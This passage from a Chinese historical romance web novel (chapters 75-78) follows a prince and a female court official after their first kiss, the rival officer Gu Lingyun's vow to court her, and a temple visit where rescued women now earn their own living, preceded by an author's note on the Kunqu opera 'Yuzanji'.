本章章节名《琴挑》选自昆曲名剧《玉簪记·琴挑·朝元歌》,也是《玉簪记》里最有名的一段。《玉簪记》是明代戏曲作家高濂创作的传奇剧本,讲述少女陈妙常与书生潘必正冲破封建礼教和道法清规相恋结合的故事。 本章听风阁水榭听昆曲的灵感来自于作者读高居翰先生的艺术史大作《不朽的林泉——中国古代园林绘画》,其中一段讲无锡寄畅园,寄畅园中有一处宛转桥与涵碧亭,晚明昆曲流行,寄畅园园主秦燿有自己的家班,戏子们踏着婀娜的舞步飘过宛转桥进到涵碧亭中表演,三折的曲桥正好契合台步的节奏。观众则在亭南的知鱼槛看戏,与涵碧亭隔水相望,乐声穿林度水而来,音效很好。 我把上面在艺术史书中看到的明代园林浪漫的一幕搬到了宁王府,小朱小周合该享受这种顶级明式浪漫!!! 第75章 晨曦初透, 薄雾缭绕着宁王府园林中的青石小径,廊下青苔映着熹微。 白芷手中提着嵌宝镶玉的金执壶,细细浇淋着廊下那几盆兰草。 在王府月余将养, 她的病已经好了许多, 精神逐渐恢复了正常, 面上也有了血色,只是唇色仍显苍白。 回廊那头传来细碎的脚步声,青黛笑语先至。 小丫头今日穿了件杏色的比甲,发间簪了一朵娇艳欲滴的石榴花,正歪头与长安低语。 长安依旧一身青缎箭袖,眉眼间却卸了往日的肃杀之气,他手中提着一个剔红的食盒, 正温柔地听着青黛讲话。 “白芷姐姐!” 青黛眼尖,见白芷在廊下浇花, 立即像只欢雀儿般蹦过来, 裙裾掠过回廊:“可用过早饭了?我瞧着今晨露重,特意熬了薏米粥” 言罢,她突然想起了什么, 回首冲长安摆手,指了指他手中食盒:“这是昨日王爷特地从松鹤楼请来的苏厨做的点心, 姑娘昨夜睡得迟,现下还歇着呢, 这些倒是便宜咱们了。” 三人笑语行至回廊尽头的小亭中,青黛接过食盒, 揭开盖子,将里面的点心悉数取出,摆得石桌上满满当当的。 白芷见桌上那玫瑰糖油馅的定胜糕, 酥的掉渣的蟹壳黄酥皮,脆若薄冰的葱油麻尖,还有沾满芝麻的枣泥麻饼,眼眶唰地一下湿润了起来。 长安默默递来檀木筷,忽道:“王爷卯时便去了厨房,特意吩咐,这几日都备苏式茶点。” 白芷执筷的手微微一顿,蟹壳黄酥皮簌簌落下芝麻,她想起多年前在文家,每逢节日也能分得这样精致的点心,那时她总偷偷藏几块带回小院。 因周妙雅晚上要躲着文毓瑾不敢出房门,连灯火也不敢点。 她掰开带着蟹粉的那块塞进周妙雅手里,主仆二人就着冷茶,在黑暗里大口大口地吞咽。 青黛舀了勺糖水,忽凑近白芷身边,俯耳低语,将白芷的思绪拉了回来:“听闻那位苏州师傅是王爷昨午掷重金请回的,我还瞧见王爷亲自在厨房盯着试菜呢。” 亭中晨光渐浓,三人的影子被拉得细长。 白芷小口啜着糖水,清甜沁入喉间。她望了眼廊外渐醒的庭院,忽低声问:“小姐昨夜…又画到很晚?” 青黛闻言,立马放下手中的甜白瓷勺,与长安飞快地对视了一眼,唇角勾起了狡黠的弧度。 “姑娘昨夜哪里是在画画” 她故意拖长了语调,双手慢慢抬起,各伸出一根纤指,在晨光里缓缓相对: “姑娘昨夜和王爷” 两指越来越近,终是轻轻碰到了一处。 话未说完,她耳根倒是先染了大片的绯红。 长安轻咳了一声,低头去拨弄食盒上的铜扣,脖颈却也在不经意间染上了大片的薄红。 白芷看得心急,伸手拉住青黛的袖角:“到底怎么了?你倒是说清楚!” 青黛见她心急,掩面噗嗤一笑。 她凑到白芷耳边,声音低的比柳絮还轻:“亲亲…” 两字落下,白芷霎时怔住了,只见她手中的檀木筷嗒地一声掉落在石桌上,惊起了一粒芝麻。 “就在水榭那边。”青黛又补了一句,指尖绞着衣带:“我我送醒酒汤时亲眼瞧见的,王爷撑着栏杆,把姑娘圈在怀里” 她声音越来越低:“月光照在他们身上,好看得像画儿似的” 长安突然起身:“该去书房了。” 他仓促转身,袍角一旋,险些带翻石凳。 青黛扯住他衣袖,眸子亮晶晶的:“长安哥也瞧见了不是?那会儿你还把我往后拽…” 长安被她拽住,此刻羞的只想赶紧捂上她的嘴。 白芷望向亭外粼粼的池水,忽忆起昨夜确实听见水榭中断断续续的唱着《玉簪记》。 当时只当是寻常唱曲,现在才品出那云心水心的弦外之音。 她缓缓起身拾起筷子,用袖角细细擦拭着筷尖,眼底泛起温润的水光。 她声音很轻,像怕是惊扰了晨雾:“昔年在文家,小姐及笄,文毓瑾硬塞来一支赤金簪子,逼小姐给他做偏房,小姐当场折了簪子扔进池塘。” 她说着,指尖无意识地摩挲着筷尖:“文毓瑾暴怒,将我们主仆二人关进柴房整整三日,我们只能靠半块发霉的糕饼活命,小姐发烧说胡话,一直念着宁为玉碎,不为瓦全” 她忽然扬起脸,泪珠却滚落了下来:“如今真好,王爷肯为小姐请苏州厨子,会陪着她听《玉簪记》。” 语罢,她竟破涕为笑:“我们该高兴的。” “那是!”青黛骄傲地扬起下巴,鬓边石榴花随笑声轻颤:“咱们王府,眼看就要有正经女主人喽!等姑娘当了王妃,咱们天天都能吃苏式点心!” 长安盯着那朵颤动的石榴花,他想张嘴说些什么,可话到嘴边却又被强压了下去。 他只得低头整理食盒,将松动的铜扣反复按压,说着:“你们先吃着,这会王爷怕是醒了,我得去书房看看。” 转身时,他听见青黛在背后嘟囔:“长安哥最近总这样,说半句留半句的” 穿过月洞门,晨光忽然黯淡了下来,长安靠在冰冷的墙上,缓缓吐出了一口气。 他想起上元节宫宴散后,宫门外来福的那句话: “陛下近日,总问起王爷的婚事…” 他忆起自己当时竟天真地追问王爷:“既是陛下先开口,王爷何不趁势求娶周姑娘?” 车帘落下的那一刻,王爷眼底血丝翻涌,声音冰冷得刺骨:“现在跟皇兄提及此事,只会害了她性命。” 他至今仍未想明白,那话中背后究竟藏着什么… —————— 日上三竿,周妙雅才悠悠转醒。 锦被间还留着昨夜水榭中的残香,她指尖下意识地抚了抚唇角,想起昨夜的缠绵缱绻,颊上霎时便红透了。 青黛端着铜盆进来,见她用被将头覆住,抿嘴一笑:“姑娘可算醒了!叶家书铺的掌柜已在前厅候了半个时辰了。” 周妙雅倏然想起今日之约,急急起身梳洗,却在铜镜中瞥见颈间浅红,忙取了条丝巾系上。 前厅里,叶掌柜正端着茶盏打量着案上的青玉笔架 ,见周妙雅掀帘进来,忙起身长揖: “女官吩咐的《瀚海楼书画录》,老夫已请到金陵最好的刻工,版式,纸张,用色俱按宋版,样张带来,还请女官过目。” 说罢,便从袖中取出薄薄一册白绵纸样本,恭敬递上。 周妙雅接过样页,垂眸细细翻看,却听得叶掌柜迟疑道:“只是您上月答应给的序言初稿” 她这才想起,那篇序言文稿仍在朱弘毅的书房,昨日原本要去取,谁知… 她耳根微热,只得歉然道:“劳您再等片刻。” 她悄步穿过垂花门,看到半掩的窗扉里,朱弘毅正倚案读书,午后的阳光如碎金般缀在他侧脸。 她立在石阶下踟蹰不前,昨夜那些缠绵的画面猝不及防地涌上心头,他温热的呼吸,落在耳畔的低语,还有最后那个 “打算站到几时?” 朱弘毅的声音突然从窗内传来,惊得她险些踏空台阶。 她抬首,正对上他含笑的眼眸,哪里还有半分专注读书的模样… “我来取序言稿。”周妙雅强作镇定地踏入书房,却故意绕开书案,假意翻检书架。 檀木格子间整齐堆着书册,却唯独不见那叠稿纸。正疑惑间,忽见朱弘毅手持一叠纸笺走近:“可是在寻这个?” 周妙雅慌忙接过稿纸,指尖不经意间擦过他的手背,温热的触感让她霎时涨红了脸。 她忙垂首翻稿,只听得纸页沙沙作响,全掩不住心跳。 “既、既然稿子无误…那下官便告退了…”她将纸张抱在胸前,提裙欲走。 只听到朱弘毅突然朝门外唤道:“长安,把序言稿送去前厅给叶掌柜。” 长安接过书稿,随即便低头退了出去。 门扉阖处,只听朱弘毅复又淡淡道:“周女官既然来了,便留此替本王研墨。” 书房内极静,只余研墨之声。周妙雅垂眸旋腕,玉镯轻轻磕到砚边,发出细碎的清响。 她能感觉得到朱弘毅的目光一直落在自己身上,比午后的日头更灼人。 她终于忍不住抬眸,正撞进他含笑的眼底。 “看什么?”她娇嗔的声音轻得几乎听不见:“专心看书。” 朱弘毅将书卷往案上一搁,指尖在泛黄的书页上轻轻点了下:“看不下去。” 他忽然伸手握住她研墨的手腕,声音更低了几分:“除非…你陪我一起看。” 周妙雅环顾书案,只见桌案四周空空如也:“可是…你这里只有一把椅子…” 她话音未落,忽觉腰间一紧,整个人已被揽入温热的怀抱。 待她回过神来,发现自己已然侧坐在他膝上,后背紧贴着他坚实的胸膛。 “这样便好。”朱弘毅的双臂自后环住她,重新执起那卷书,书页在眼前展开,她却一个字也读不进去。 他温热的呼吸拂过她耳畔,隔着几层衣料,她能清晰地感受到他胸膛传来的心跳,而她自己那颗心,亦是早已跳得不成章法。 朱弘毅的指尖划过一行小字,声音里带着笑意:“这里…讲的可是红袖添香的典故。” 青黛端着甜白瓷碗轻轻推门而入,碗里红豆小圆子还冒着热气。她抬眸看见书案前相叠的身影,惊得手一抖,滚烫的糖水险些泼洒出去。 周妙雅闻声,羞得慌忙想要起身,却被朱弘毅稳稳圈住腰枝:“别动。” 他的唇几乎贴上她泛红的耳廓,低笑道:“书尚未读完。” 青黛涨红了脸,手足无措道:“厨、厨房新熬的红豆圆子” “放下吧。”朱弘毅眼也未抬,仍注视着书页,仿佛怀中抱着个人是再寻常不过的事。 青黛慌忙将瓷碗放到茶几上,低头快步退至门外,长吁了一口气。 门扉轻轻阖拢,周妙雅红着耳根,轻捶他环在腰际的手,低嗔道:“都怪你…这下青黛指不定要怎么偷笑我。” 第76章 怀中的人儿又娇又羞, 朱弘毅整颗心都似要化了一般。 周妙雅在他怀里轻轻挣动了几下,尾音打着颤,明明是要挣脱, 听起来却像在撒娇:“快放开人家…” 他收紧臂弯, 让她整个人更深地陷进他怀里, 俯耳低语:“不放,此生不放,来世不放,生生世世都不放。” 她蜷在他怀里,带着江南口音特有的软糯娇嗔道:“人家可什么都没应你” 温香软玉最是磨人… 他垂眸看着怀中云鬓微乱,耳尖泛红的美人儿,含笑诱哄道:“那便现在应我一声, 可好?” 她别过脸,眸光无处可落, 最终瞥向茶几:“松鹤楼的红豆小圆子该凉了。” “那就先尝尝。”他徐徐松开环在她腰际的手, 顺势牵起她的腕子,往茶几走去。 糯白的圆子在赤豆汤里悠悠晃荡,冒着细细的热气。 他端起甜白瓷碗, 舀起第一颗圆子,自然而然地将勺子送到她唇边。 她微启樱桃小口, 圆子落舌,糯米皮软韧, 红豆馅细甜。 小口轻嚼间,他低声问:“甜么?” 她轻轻点头, 羽睫低垂,颊边飞起两抹红云。 朱弘毅又舀起一颗,然而他执勺的手却停在了半空。 他目光灼灼, 在她的唇上流连,忽将勺柄转向自己,又在将触未触时顿住。 “这颗…”他低声道:“想尝尝不一样的甜。” 糯米软韧,红豆的甜香在交缠的呼吸里化开,她惊得睁大双眼,指尖无意识地攥紧他道袍的衣领。 待他稍稍退开,她羞得颈背都染上了绯红:“你…你这人…” “我怎么了?”他指腹轻拭着她唇角的豆沙,低笑道:“可是比方才更甜?” 她羞得说不出话,一把抢过瓷碗,急急舀起一颗圆子塞进他嘴里,因动作太急,勺沿磕在他齿上,发出叮当一声脆响。 朱弘毅闷哼一声,却低低笑了起来。 他稳稳握住她执勺的手,就着她手中的勺子将那颗圆子慢条斯理地咽下。 “甜”,他目光灼灼地望着她,说的却分明不是那圆子的甜。 她被他灼得周身发烫,欲要抽手,却被他握得更紧。 她指尖尚沾着些许红豆沙,他俯首,唇瓣轻轻掠过她的指尖。 “这里也甜。”他声音低哑。 她呼吸顿时停住,只觉那指尖像是被火灼过,羞的急急想要抽回,整个人却被他顺势揽进怀里。 她放下手中瓷碗,在他怀里不安地扭动了两下,娇嗔道:“又欺负人…” 他低笑,手臂却将她圈的更紧,鼻尖轻蹭过她发烫的耳垂,与她耳语道:“这便叫欺负了?” 还没等她反驳,他指尖已轻轻托起了她的下巴,她娇羞地想要别过头去,却被迫迎上他灼热的目光。 “那本王偏要欺负到底了…” 他话音未落,炙热的吻已经落了下来… 周妙雅只觉脑中嗡地一声,思绪尽数被抽空。 她攥着他衣领的指尖失了力道,软软滑下,抵在他坚实的胸膛,却更像是欲拒还迎的轻推。 所有挣扎的力气仿佛被瞬间抽走,她只能依偎在他怀里,任他予取予求。 她越是这样,他拥的越紧,吻的越深,两人的呼吸凌乱的交织在一起,直到她气息不稳,几乎要软倒在他怀中… 他才依依不舍地松开她,抵着她的额头,声音低哑:“还想让本王继续欺负你吗?” —————— 细雨如丝,顾凌云强撑着刚好转的病体,独自站在巷口的角落里,痴痴凝望着宁王府大门。 他已经在这里站了整整一天…却并没有见到那个自他醒来之后就迫不及待想要见到的纤细身影。 飞鱼服的肩头早已被雨丝浸湿,他站了一整日,腿脚早已麻木,胸口伤处隔着层层纱布隐隐作痛,即便是这样,他仍只是望着那扇紧闭的朱门,仿佛这样就能望见门内的人。 前日清晨,他在病榻上醒来,手下锦衣卫的絮叨犹在耳边: “头儿,您是没瞧见,您昏迷那几日,周姑娘日夜守在榻前,亲自为您熬药,上药,包扎,换药,事无 巨细,连眼都未合…” 雨珠顺着他睫毛滚落,他闭上双眼,脑海中浮现的是那些昏迷时的模糊片段:苦药入喉时的温热,上药时疼的发颤,榻前那道纤细的身影,执着微凉的帕子,轻轻拭去他额上冷汗。 那时他以为是梦。 如今才知道,那都是真的。 更夫的梆子声穿雨而来,打破了巷子口的平静… 他想起初见她时,在大兴县的田埂,她不畏强权,挺身而立为老农撑腰,在奉国寺门前,她俯身为流民孩童诊脉,即便裙角泥泞也毫不在意。 那时他怎料得到,这般看似柔弱的女子,竟会与他共探济慈堂,面对森森白骨毫无惧色,在鬼巷直面北狄大巫医,她割掌取血毫不迟疑,在他命悬一线时,日夜守候在他塌前,不肯合眼。 雨渐渐大了。 侍卫撑伞近前,低声劝道:“大人,您伤势未痊愈,不可淋雨…” 顾凌云恍若未闻。 任雨水打湿衣襟,仍痴痴望着那扇朱门。 眼前浮现出前日他刚能下地,便撑着进宫去见阿姐时的情景。 顾云舒见他进来,手中茶盏哐当坠地,她疾步迎上,顾不得屏退左右,一把攥住他手臂,涕泗横流:“凌哥儿…” 她声音发颤,将他从头到脚仔细打量,话也说不出,只任泪水如决堤一般簌簌滚落。 顾凌云欲下跪行礼,却被她死死攥住。 “阿姐…”他刚开口,顾云舒便再也忍不住,将他紧紧抱住,肩头剧烈地颤抖起来。 她哽咽失声:“你若再这般不顾性命…他日九泉之下,我还哪有脸面去见爹娘…” 顾凌云心头酸涩,反手轻轻抚着她的背,像幼时阿姐哄自己一般。 顾云舒抽泣渐止,由他扶回暖榻,顾凌云回首吩咐:“如意,倒杯热茶来,给娘娘压压惊。” 待如意捧茶而来,顾凌云却先一步接过茶盏,随即撩袍,端端正正地跪在阿姐面前,双手奉茶,垂首请罪。 当他再次抬起双眸看向顾云舒时,目光中已盈满了清明的坚定:“阿姐,宁王府的救命之恩,凌云没齿难忘,但有一事,弟弟今日必须说清。” 他深吸一口气,胸口的伤还在隐隐作痛,却抵不过此刻心中翻涌的灼热。 他定了定神,声音低沉且清晰:“阿姐,我对周姑娘…自大兴县初见,便已倾心。” 顾云舒手中的茶盏微微一颤… 顾凌云目光渐远,仿佛又看见了初见周妙雅时的模样:“那时她站在田埂上,明明是个弱质女流,却敢为了素不相识的老农与代王府的恶仆对峙。” 他唇角不自觉地扬起:“那小小的身体里,真不知她从何处生出的这般勇气。” 说到此处,他眼神骤亮:“阿姐,这便是风骨吧?是骨子里透出来的宁折不弯。” 他垂眸,望着自己布满薄茧的掌心,忽而低笑,似在回味甜蜜:“后来济慈堂案,她面对森森白骨毫无惧色,阿姐,试问京城之中,哪家的贵女能做到这般?” 他声线中带着自己都未察觉的温柔:“此番重伤昏迷,我虽意识模糊,却总记得有人日夜守在榻前。” 他再次抬眸,直视着顾云舒的双眼:“阿姐,若无周姑娘这般悉心,我早已…” 余音未尽,但顾云舒都明白… 一瞬间,殿内静得仿佛连呼吸都凝滞… 半晌,顾云舒终于开口:“所以,凌哥儿,你待如何?” 顾凌云跪得笔直,一字一句道:“弟弟此生,非周姑娘不娶。” 顾云舒听罢,缓缓闭上眼,深吸了一口气。 她如何能不明白自己弟弟的心意?那眼神里的光,那语气里的执拗,与她年少时何其相似。 可她不单是他的阿姐,更是大晟的皇后。 她睁开眼,眸中满是不忍,却不得不点醒他:“凌哥儿,你的心意,阿姐明白了,可是” 她语气微顿,却字字清晰:“你此番能捡回这条命,宁王殿下功不可没。” 顾凌云嘴唇微动,欲要启唇说些什么,却被顾云舒抬手止住。 她凝视着弟弟,语气坚定却平和:“你不必急着辩白,先听阿姐把话说完,周姑娘居于宁王府这些日子,宁王殿下亲自向陛下为她请封女官,赏花宴上,更是当众百般相护,凌哥儿,这些事,纵我身处深宫,也早有耳闻。” 她微微俯身向前,凤钗上的流苏轻颤:“凌哥儿,你仔细想想,孤男寡女,朝夕相对,日久生情…难道就无半分可能?” 看着弟弟骤然苍白的脸色,顾云舒心头一痛,却仍硬着心肠说了下去:“你口口声声非她不娶,可宁王殿下的感受,你置之于何地?他待你,待我们顾家,恩重如山…” 她说罢,轻轻摇了摇头,带着深深的无奈:“我的傻弟弟,你这一腔热血,可曾为旁人留过半分余地?” 顾凌云缓缓抬起眼,眸底翻涌的情绪终沉为近乎执拗的清明。 他嗓音沙哑,却一字一顿:“阿姐说的这些,弟弟都明白。宁王殿下的恩情,我顾凌云即便粉身碎骨也会偿还,他日若王爷需要,这条命随时双手奉上。” “可对于周姑娘…” 他忽然挺直脊梁,伤口被扯得钻心,疼痛却令神色愈发清醒:“弟弟欲与王爷,君子之争。若是她愿意,我会三媒六聘,风风光光迎她做顾家宗妇。” 雨越下越大,冰凉的雨水顺着领口灌进里衣,思绪被瞬间拉回,激得他伤口一阵刺骨之痛。 侍卫忍不住又劝:“大人,再站下去伤口真要溃烂了,周姑娘若知道您这样” 这话像一根细针,轻轻扎进他心口。 他最后望了一眼那扇朱门,终于缓缓转身,消失在雨幕中。 第77章 次日清晨, 檐角雨滴方歇。 青黛捧着件月白云纹披风站在一旁,话在嘴边绕了三圈,才敢轻声说出口:“姑娘…顾大人一早便差人来递了帖子, 说是…想请姑娘去玉清观一叙。” 铜镜前, 周妙雅执簪的手微微顿了顿, 镜中少女眸光轻闪,随即又平静地继续绾发。 簪子穿过发髻,稳稳别好,她仔细端详着镜中的自己,陷入沉思… 终究是她利用顾凌云的伤势做局,算准时机攀上皇后,向皇后讨了情, 去寻那宫中的孙女官。 到底是她算计别人在前,周妙雅心中自觉亏欠顾凌云, 于情于理, 她都应该去赴约。 可脑海中突然闪现出朱弘毅那双醋意翻涌的眸子,他灼热的吻落在耳畔,呼吸滚烫, 手臂收紧得似要将她揉进骨血里,一遍遍地逼问:你心里装的, 究竟是他还是我? 想到这里,她下意识地微微蜷了蜷指尖, 只觉掌心一片潮润,分不清是天热还是心乱。 她们二人一起经历了这么多, 好不容易互相表明心迹,若她此刻欣然赴约,势必要影响她和朱弘毅刚刚修复的甜蜜关系。 若是不应, 她心中那份利用顾凌云接近皇后的内疚便再难消解。 可该面对的总要面对,更何况她心中本就一片澄明,顾凌云于她而言,只是盟友。 她倏然起身,深吸了一口气,顺手抚平了马面裙的褶皱。 “姑娘?”青黛捧着披风上前,心中想着,姑娘今日穿了一件素白的立领斜襟长衫,若是配上这月白云纹披风,定是清雅动人。 可周妙雅并未伸手去接,只淡声吩咐道:“我去书房一趟。” 她快步走出暖阁,穿过庭院,石砖上还积着雨水。 月洞门外,长安远远望见她,忙躬身行礼:“周女官。” “王爷在吗?”她收步问。 “在书房。” 长安侧身让开路,又低声补了一句:“今早没见客,一直在里头看书。” 周妙雅颔首,径直走到了门前。 门虚掩着,能看见里面书案的一角。 朱弘毅坐在案后,手里拿着卷书,远远望去,仍是那卷《资治通鉴》。 周妙雅见此景,不免心下生愧。 徐明阳致仕那日,她忙着设局,并未随他出城相送,她心中明白朱弘毅舍不得恩师,他年少时在宫中的日子艰难,每日天不亮便要起床,与皇兄同赴文华殿听日讲,那时便是康敏之要负责给东宫太子朱弘睿讲经,徐明阳则要照管小小宁王的学业。 她悄然立于门外,晨晖透过薄雾,将她的身影映得朦胧。 朱弘毅低首良久,方才掩卷抬眼,逆光中,他猝不及防地撞见了门外那道纤影。 他放下书卷,朝 她招招手,示意让她近前,并温声唤道:“来了多久?怎不吱声?有事寻我?” 周妙雅走到案前,从袖中抽出一张素笺,轻轻置于案上。 “顾大人邀我今日去玉清观一叙。”她开口,说得很直白,没有绕弯。 朱弘毅的目光落在帖上,未动。 晨光透过窗棂,照在素笺上,映出顾凌云端正的笔迹,一笔一画,皆透着隽秀的风骨。 “你想去?”朱弘毅语气平静,指节却悄悄收紧,明明在意得要命,却偏装出一副云淡风轻。 周妙雅垂首,指尖在袖中绞作一团,半晌,终是抬眼,下定决心道:“是,我想去,坤宁宫的事,是我利用了他,我欠他一个解释。” 朱弘毅伸手拈起那张素笺,并未展读,只两指轻捻,在指间转了转,纸张摩擦,发出细微的沙沙声。 “只是解释?”他抬眼,目光直直看进她眼里。 周妙雅坦然迎上了他的目光,声音笃定:“只是解释。” 晨光横在两人中间,他们就这样对视着,谁也没有移开视线。 书房里的空气仿若凝滞了,连呼吸都变得小心翼翼。 良久,朱弘毅忽然笑了。 那笑意极淡,淡得几乎看不见: “去吧。” 周妙雅怔住。 她以为他会拦,会恼,会不悦,会像那日在回廊中拦下背着药箱的她,说自己会进宫面圣去请太医院卢院判亲自为顾凌云医治。 可他却只淡淡一句去吧,语气平静得就像在说今日的天气。 “王爷…不介意?”她轻声试探。 朱弘毅站起身,绕过书案走到她面前,他比她高大许多,此刻正低头看她,目光沉沉的。 他坦然承认,声音低哑:“我介意,介意的要命。” 他抬手,轻轻抚上她的面颊,指尖微凉。 “可我不能拦。” 他缓缓道:“拦了,你心里那点愧疚就会变成刺,横在你我之间。” 周妙雅呼吸一滞。 朱弘毅指尖轻贴她面颊,声音温柔:“去吧,去把话说清楚,然后早点回家,我在家等你。” 周妙雅抬眸深深望了望他,乖顺点头:“好。” ———— 玉清观坐落在城南一座山腰上,四周古木参天,山风掠过,引得松涛阵阵。 石阶蜿蜒没入林间,周妙雅拾级而上,待走到观门前,鬓边已浮出细汗。 青黛本欲随她一同上来,却被她拦在了山脚下:“在这里守着便好。” 山门内青砖铺院,偶见往来的香客提着篮子,攥着香,往后院的三清殿走去。 顾凌云倚着院中一株老银杏树,他今日未着飞鱼服,只穿了一身靛青色的曳撒,怀里抱着一柄长刀,似已站在那里等了她许久。 见她提裙而来,顾凌云即刻直身,唇角勾起少有的弧度,那张被外人称作冷面阎罗的脸,只在见到她的时候,才会浮出这般温笑。 “周姑娘” “顾大人” 周妙雅抬眸望去,见他病容已褪,面色较先前已好转许多,只是因之前伤势实在太重,他的唇色仍旧苍白。 她的声音不由放轻了下来:“山路难行,顾大人伤口可还受得住?” 顾凌云唇角微弯:“无妨,周姑娘救命之恩,顾某尚未报答。” 周妙雅忽然停下脚步,目光直直望进他眼底:“顾大人的命,是宁王殿下救下的,非我。” 她一字一顿,说得极其清晰:“那几日守在榻前,妙雅不过是尽医者本分,顾大人无需挂怀。” 山风掠过庭院,扬起了她马面裙的裙角,也掀起了他靛青色曳撒的下摆。 银杏叶沙沙作响,一枚黄叶旋转而坠,恰落在两人之间。 周妙雅目光掠过那片银杏,复又抬眸望他,声音更低了几分:“至于顾大人说的尚未报答,实不相瞒,妙雅那番照料…存了私心。” 话音落下,庭院里静了一瞬。 顾凌云脸上那抹温笑分毫未减,他依旧那样看着她,目光澄澈如秋日山泉。 周妙雅轻轻抿了抿唇。 她努力抬眸,望向顾凌云温柔的双眼,那里没有惊愕,没有怒意,甚至连一丝意外都没有,仿佛早将她所有算计与挣扎尽收眼底。 “祖母去世前,曾见过宫中一位姓孙的女官。” 周妙雅顿了顿,指尖在袖中微微收紧:“我需找到她,问清楚当时之事。” 她深吸了一口气,继续鼓起勇气说道:“所以我借你重伤为由,事无巨细地照料,只为搏一个面见皇后娘娘的机会,六局二十四司皆由皇后亲领,若要在偌大后宫寻一个人,对娘娘而言并非难事。” 话音落下,她喉咙有些发紧,呼吸也在微微颤动。 山风掠过,吹乱了她额前的碎发。 “顾大人” 她复又开口,声音低涩,却藏不住愧疚:“我利用了你的伤势,换取皇后娘娘垂怜,此事…是妙雅逾矩。” 她后退半步,敛襟俯身,郑重一礼: “对不起。” 顾凌云在她俯身那一瞬已迈前半步,长刀负于背后,空出的左手却探出,扶住了她的手臂。 周妙雅怔了怔,顺着那一点力道缓缓直起身,正对上了他低垂的目光。 “就因为这个?” 他唇角那抹温和的笑意更深了些,眼底依旧澄明,仿佛她方才说的那些算计不过是一片落叶点水。 “无妨的。” 他收回手,负在身后,依旧温和地看着她,声音平稳而笃定: “即便你不做这些,不日夜守在我榻前,不借我的伤,不向阿姐陈情…” 他顿了顿,目光落在她微微泛红的耳尖上,语气放得更缓: “只要是你开口,只要是你想寻的人,想查的事…” 他轻轻笑了笑,那笑容里没有半分芥蒂,只有近乎宠溺的纵容与坦然: “我依旧会去求阿姐的。” 周妙雅连忙摆手:“顾大人不必如此…” 话音未落,顾凌云却已笑着摇头,截断了她的话头:“你我之间,不必说这些。” 他的语气淡然而笃定,仿佛这已是既定的事实,不容置喙,亦无需推辞。 周妙雅还想再说些什么,却见顾凌云已侧身让开半步,抬手做了个请的姿势:“今日顾某约周姑娘来此,原也不是为了说这些的。” 山风适时拂过,吹散了她唇边未竟的言语。 他眼含笑意,望向观内更深处:“走吧,我带你去后面瞧瞧。” 顾凌云在前引路,步履从容,脚步不快。 他领着她穿过香客往来的灵官殿,玉皇殿与三清殿,殿内香烟袅袅,偶有道姑执帚扫尘,见了顾凌云,皆停下动作,稽首致意。 两人未在殿内停留,只沿着殿侧回廊一路向后。 回廊曲折,连起数重院落,越往里走,香客的喧嚷声便越远。 最后穿过一道月洞门,眼前豁然开朗。 这是一方静院,与前面殿宇的庄严肃穆完全不同。 银杏树下,并排几张长桌,数名布衣女子正低头摇着纺车。 另一侧的石台上,摆满了大小不一的瓷钵,石臼。 几个女子正低头捣着什么,空气中弥漫着淡淡的花香,混着蜂蜡与油脂的气味。 周妙雅站在月洞门前,脚步顿住了。 她的目光从那些女子身上一一掠过。 摇纺车的,滤花汁的,低声说笑的… 她们,正是当年济慈堂中那些蜷缩在阴暗的角落中,眼神空洞的女子。 周妙雅缓缓转过头,惊愕尚未掩尽,直直望向身侧的顾凌云。 顾凌云迎着她的视线,唇角弧度未减,声音温和地解释道:“玉清观的清韵道长心善,见观中后院空房多,便收留了这些姑娘。” 他停了一瞬,视线落回院中:“起初不过给她们一处安身之所,后来姑娘们自己商量着,总得寻个活计。” 说罢,他抬手指向树下:“会纺纱的便纺纱,手巧的便学做胭脂,观后山有花,春采桃杏,夏秋摘菊桂,蜂蜡是山下养蜂人送的,油脂也是寻常物 。” 他侧首,再次望向周妙雅,眼底含着极浅的笑:“做成的东西,逢初一,十五,便由观内的姑子们带下山去换些香火钱,虽称不上富足,却是靠她们自己的双手,吃穿不愁。” 话音落下,院子里恰好传来一阵低低的笑语。 是两个凑在一起并肩捣料的女子,不知说了什么,其中一个女子掩着唇笑了,眼里有光。 周妙雅静静伫立片刻,唇角含笑:“真好。” 顾凌云没说话,只是静静地陪她站着。 片刻后,周妙雅转过身,抬眸看向他:“白芷识字。” 她目光掠过院内那些忙碌身影,轻声开口:“若姑娘们愿意,可以让白芷来教她们识些字,读些浅显的书。 顾凌云望着她,眼底那抹浅笑更深了些。 他应得干脆,没有半分犹豫:“好,一切都听你的。” ———— 日头渐渐西斜,将石阶镀上一层暖金。 两人并肩下山,一路说笑。 山风拂面,周妙雅步履轻快,脑海里仍是院中女子低笑的模样,以及她们眼中重新亮起的光。 真好。 她悄悄把这两个字又念一遍,映着夕阳的斜晖,带着沉甸甸的暖意。 石阶尽头便是山门,青黛正守在那里踮脚张望,见她们下来,忙迎上前去。 周妙雅正要开口,目光却越过青黛,落在了不远处的马车旁。 朱弘毅正负手立在那里。 暮色为他玄色的衣袍镀了层柔和的金边,他微微侧身,望着山道方向,不知已等了多久。 周妙雅脚步顿了顿,随即眼底漾开掩饰不住的笑意,她几乎想也未想,提着裙摆便朝他奔去。 石阶湿滑,她跑得急,只觉脚下一滑,身子便向前倾。 朱弘毅已大步迎了上来,在她站稳前便伸手扶住了她的臂弯。 他低头看她,话里含了惯常的无奈,可眼底那点笑意却一点都藏不住:“冒冒失失的,仔细摔着。” 周妙雅借他力道站直,抬眼便撞进他含笑的眸子里,颊边微热。 她正欲开口,却觉背后目光灼灼,下意识回首。 山门石阶上,顾凌云还站在那里。 他手中仍抱着那柄长刀,站姿笔挺如松,只是隔着这一段距离,周妙雅看不清他眼底的神情。 朱弘毅顺着她的目光也抬头看了一眼。 他并未松开扶着她的双手,只极轻地唤了唤她,温声道:“先上车吧。” 周妙雅收回视线,点了点头。 转身时,她最后用余光瞥了一眼山门。 石阶高处,顾凌云仍负刀而立,只是暮色衬得那道身影分外…孤清。 第78章 马车驶离玉清观山门时, 暮色已浓。 车帘放下,将外面最后一缕天光也隔绝在外。 车厢内只点了一盏昏黄的明角灯,光线微弱, 勉强能勾勒出两人的轮廓。 周妙雅靠在车壁上, 起先还强撑着精神。 马车车轮碾过石板路, 轻轻一晃又一晃,像催眠的拍子。 她眼皮渐沉,视线里朱弘毅玄色的衣袖渐渐成了一团模糊的影子。 不知过了几个路口,马车拐进了一条稍窄的巷子。 车身骤然晃动了一下,周妙雅的身子跟着一倾,额角不偏不倚地贴上了朱弘毅的肩头。 倚在肩头的少女似乎微微惊动了一下,睫毛轻轻颤动, 却未睁眼,只是无意识地在他肩头蹭了蹭, 寻了个更舒服的姿势, 